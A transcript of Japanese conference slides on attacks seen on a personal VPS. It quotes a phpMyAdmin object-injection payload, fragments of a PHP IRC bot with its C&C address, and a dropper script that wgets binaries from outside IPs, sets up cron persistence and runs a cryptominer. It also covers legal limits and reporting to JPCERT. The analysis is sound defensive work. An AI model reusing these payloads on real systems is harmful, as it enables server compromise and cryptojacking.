Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

さくらのVPSに来る悪い人を観察して通報してインターネットを少し良くする

27,300 views

Published on

さくらのVPSにアタックしてくる人たちの行動を観察した記録です。観察日記。

今回のネタは以下です。
*phpMyAdminを狙っている人がやろうとしていること。それはBitCoin掘り
*ハニーポットとかやる上で注意しないといけない法律
*マルウェアを配っているサイトは通報しよう

なおこのスライドは、2014年2月22日のSecurity Casual Talks 2014#1(すみだセキュリティ勉強会)での発表資料です。
http://ozuma.sakura.ne.jp/sumida/

Published in: Technology
  • Be the first to comment

さくらのVPSに来る悪い人を観察して通報してインターネットを少し良くする

  1. 1. さくらのVPSに来る悪い人を観察して通報 してインターネットを少し良くする Security Casual Talks 2014#1 (すみだセキュリティ勉強会) 2014/2/22 @ozuma5119 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 1
  2. 2. 自己紹介 • @ozuma5119 • ネット企業でセキュリティサービスをやっ ているエンジニア • http://d.hatena.ne.jp/ozuma/ • 科学写真家(と名乗っている) さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 2
  3. 3. 話すことの概要 1. 個人で借りている、さくらのVPS(仮想専 用サーバー)にいろいろ来るので、その攻 撃を観察してみた 2. 観察するとき注意すること 1. マナーや法律 2. 悪い人を見つけたら通報 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 3
  4. 4. さくらのVPS さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 4
  5. 5. • 今さらですがphpMyAdmin攻撃観察 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 5
  6. 6. Webサーバでよく見るログ "GET /w00tw00t.at.blackhats.romanian.anti-sec:) HTTP/1.1" 404 "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 "GET /pma/scripts/setup.php HTTP/1.1" 404 "GET /myadmin/scripts/setup.php HTTP/1.1" 404 "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 Damn it! (チクショウ!) さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 6
  7. 7. phpMyAdmin • php + MySQL のWebツール • 致命的な脆弱性が数多く、今まで、そし てこれからも、狙われ続ける運命 – CVE-2009-1151 [config.inc.php] 任意コード実行 可能 – CVE-2011-2505 [swekey.auth.lib.php] セッショ ン操作可能 – その他、たくさん数え切れないほど さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 7
  8. 8. さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 8
  9. 9. phpMyAdminへの最近の攻撃 • 突かれる脆弱性は昔から変わらず古典的 – いまだにphpMyAdmin 2.xを狙う攻撃が来る (最新版は4.x) • しかし攻撃後に、悪い人がやることが変 わってきた – ので、皆さんと観察してみましょう さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 9
  10. 10. きょう、観察するWebアクセス 107.20.154.237 - - [31/Jan/2014:14:15:24 +0900] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "-" "ZmEu" スキャンから12分後に攻撃 ......(省略) 107.20.154.237 - - [31/Jan/2014:14:27:29 +0900] "POST /phpMyAdmin/scripts/setup.php HTTP/1.1" 200 748 "http://153.120.5.227/phpMyAdmin/scripts/setup.php" "Opera" ※ApacheでReWriteして200 OK返してるだけなので、ファイルは存在しな い さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 10
  11. 11. 攻撃のPOSTボディ部を観察 POST /phpMyAdmin/scripts/setup.php HTTP/1.1 ....(ヘッダ省略)..... action=lay_navigation&eoltype=unix&token=&configurati on=a%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_ Config%22%3A1%3A%7Bs%3A6%3A%22source%22% 3Bs%3A33%3A%22ftp%3A%2F%2Fsocremaautomatisme.com%2Fbot%22%3B%7D%7D URLエンコードされていて分かりにくい ので、 URLデコードしましょう さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 11
  12. 12. 攻撃POSTボディURLデコード action=lay_navigation&eoltype=unix&token=& configuration=a:1: {i:0;O:10:"PMA_Config":1: {s:6:"source";s:33: "ftp://socrema-automatisme.com/bot" ;} } • 攻撃PHPスクリプトを送り込んできた! • さっそく(手で)ダウンロードしてみよう さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 12
  13. 13. ダウンロードしてみた <?php ....(省略)..... class pBot 指令を出すC&C(コマンド&コントロール)サーバ { var $config = array("server"=>"74.208.201.122", "port"=>"3303", "key"=>"*", "prefix"=>"Geox", "maxrand"=>"8", "chan"=>"#q", "trigger"=>".", "hostauth"=>"localhost"); var $users = array(); function start() .....(省略)...... function udpflood($host,$port,$time,$packetsize) { .....(省略)...... さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 13
  14. 14. C&CサーバにIRCクライアントで入って 攻撃指示を見てみる (irssiコマンド) • 二人しかいない(しかも@Geoxは指示を出すbot) • 「時、既に遅し」パターン さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 14
  15. 15. • もぬけの空? • よく見ると、手がかり は残されている!!! (ババーン) 写真:JR大森駅そばの公園で見 つけた「混み合った羽化」 15
  16. 16. C&CサーバにIRCクライアントで入って 見てみる その2 • C&CサーバではIRCトピックで指示出 すこともよくあるパターン さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 16
  17. 17. もうちっとだけ 続くんじゃ さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 17
  18. 18. 指示されたファイルaを取得 #!/bin/sh crontab -r 自動アップデー cd /tmp rm -rf a* c* update* ト機能付き pwd > mech.dir dir=$(cat mech.dir) echo "* * * * * $dir/update >/dev/null 2>&1" > cron.d crontab cron.d crontab -l | grep update wget http://62.193.234.3/update >> /dev/null && chmod u+x update rm -rf /etc/cron.hourly/update cp update /etc/cron.hourly/ .......(続く) .......... さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 18
  19. 19. ファイルaの続き。 wget http://62.193.234.3/clamav wget http://62.193.234.3/sh chmod +x sh chmod +x clamav mv clamav bash kill -9 `ps x|grep stratum|grep -v grep|awk '{print $1}'` PATH="." bash -o stratum+tcp://176.31.255.138:3333 -O geox.1:xxxxxx -B PATH="." sh -o stratum+tcp://176.31.255.138:3333 -O geox.1:xxxxxx -B • clamavとshという、2つのファイルを実行した いようだ。 • これは2つともバイナリ実行ファイルでした さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 19
  20. 20. ボットaの正体 stratum+tcp:// 176.31.255.138:3333 • このプロトコル、何? ちなみに: 176.31.255.138: フランス [AS16276] OVH Systems → フランスのホスティング業者ですが、悪い人の すくつ(なぜか変換できない) として有名 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 20
  21. 21. clamavという謎ファイル • バイナリを真面目に解析してもいいので すが、こういうときにセキュリティエン ジニアがよく使う手段があります https://www.virustotal.com/ さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 21
  22. 22. BitCoinMiner さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 22
  23. 23. BitCoin • 最近ナウなヤングにバカウケの仮想通貨 • 掘る(mine)=ハッシュをひたすら計算する 。 – 採掘するには、ソロ掘りとプール掘りがあり 、プールでみんなで掘るのが一般的であり普 通。 – 先ほどstratum+tcp://で接続していたサーバも プール。 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 23
  24. 24. BitCoinのプールマイニング さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 24
  25. 25. BitCoinのプール掘り概要 • BitCoinをプールで掘るのに必要なID群 – BitCoinウォレット(財布)のアドレス • 公開鍵だと思ってください • 例)1PPPAP9yX2qMERdy1fzxEcssnvJ5PQ5A9 – プールのアカウント・パスワード – プールで実際に掘るワーカーのID・パスワー ド さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 25
  26. 26. ワーカーID/password stratum+tcp://176.31.255.138:3333 -O geox.1:xxxxxx -O プールの アカウント . ワーカーの アカウント : ワーカーの パスワード • geox君、ワーカーのIDとパスワードを無造 作に送り込んで来た! – ワーカーには、掘ったコインの転送先財布の 設定しか無いので、漏れてもあまり気にする 必要が無いのであろう(たぶん) さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 26
  27. 27. BitCoinは悪い人にも便利 • BitCoinは色々なとらえ方があるけど、ITエ ンジニアとしては、 「BitCoinは計算リソースを現金化 する」 という側面が最重要(たぶん)。 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 27
  28. 28. 今回のphpMyAdmin攻撃 全体図 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 28
  29. 29. こんなん見ました・その1 おしまい • その2に続く さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 29
  30. 30. こんなん見ました・その2 • セキュリティで悪い人観察とかハニーポッ トやる上で、気をつけないといけないこと • それは、法律を守る(当たり前) さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 30
  31. 31. (法的に)解析できない攻撃 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 31
  32. 32. POSTボディ部をURLデコード action=lay_navigation&eoltype=unix&token=& configuration=a:1: {i:0;O:10:"PMA_Config":1:{s:6:"source";s:44: "ftp://xxxxxx:xxxxxx@118.143.xx.xxx/gay.php" ;}} • よそのftpのIDとパスワードがバッチリ…… – このIDパスを使ってそのまま検体をwgetする と、不正アクセス禁止法に触れます さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 32
  33. 33. たのしい不正アクセス禁止法 • 不正アクセス行為の禁止等に関する法律 – http://law.e-gov.go.jp/htmldata/H11/H11HO128.html – 第3条 何人(なんぴと)も、不正アクセス行為を してはならない。 • 「不正アクセス行為」とは – アクセス制御機能を有する特定電子計算機に電気通信回線を通 じて当該アクセス制御機能に係る他人の識別符号を入力して当 該特定電子計算機を作動させ、当該アクセス制御機能により制 限されている特定利用をし得る状態にさせる行為 – 「よそ様のIDパスワード入れるな」ってこと さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 33
  34. 34. セキュリティをやる上での注意 • 観察やハニーポットは楽しいけど – セキュリティをやるエンジニアは、人一倍、 法律とかマナーとか正義とかには敏感でなけ ればならない – 「人一倍」って、1倍なら同じじゃないか? さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 34
  35. 35. その3 セキュリティをやる上で • 観察してるだけじゃなくて、少し世の中 の役に立とう • 悪い人、マズいWebサイトの通報のやり方 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 35
  36. 36. 通報厨 • 「ニコニコ大百科」より引用: http://dic.nicovideo.jp/a/%E9%80%9A%E5%A0%B1%E5%8E%A8 • 通報厨とは、何らかのルール違反を犯して いる人や物を、管理者や権利者等に自分の 欲求を満たすことを主目的として報告する 人である。 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 36
  37. 37. さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 37
  38. 38. 通報先 • 脆弱性のあるWebページや、マルウェアを 配っているサイトは、通報するのが正しい マナー – JPCERT http://www.jpcert.or.jp/ – IPA (独立行政法人 情報処理推進機構) さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 38
  39. 39. さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 39
  40. 40. 通報内容(私の過去の経験) • マルウエアを公開しているサイトへの対 応依頼 – http://xx.xx.xxx.xx/.eu/zmuie • 「上記該当URLは、Linuxサーバ向けの ボットネット接続クライアントを配布し ています〜〜」云々 さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 40
  41. 41. さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 41
  42. 42. さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 42
  43. 43. 通報するほどじゃないのはどうするか • phpinfo()丸見えとか さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 43
  44. 44. (あくまで)私の場合 • phpinfo()丸見えですよ、とナチュラルに問 い合わせフォームから送ってみる – ただしマトモそうなIT企業に限る – 今のところ、逆ギレされたことは無いです • 日本以外は、キリが無いので見つけても スルーすることが多いです さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 44
  45. 45. すみだセキュリティ勉強会 • http://ozuma.sakura.ne.jp/sumida/ さくらのVPSに来る悪い人の観察・通報・良くする (@ozuma5119) 45

×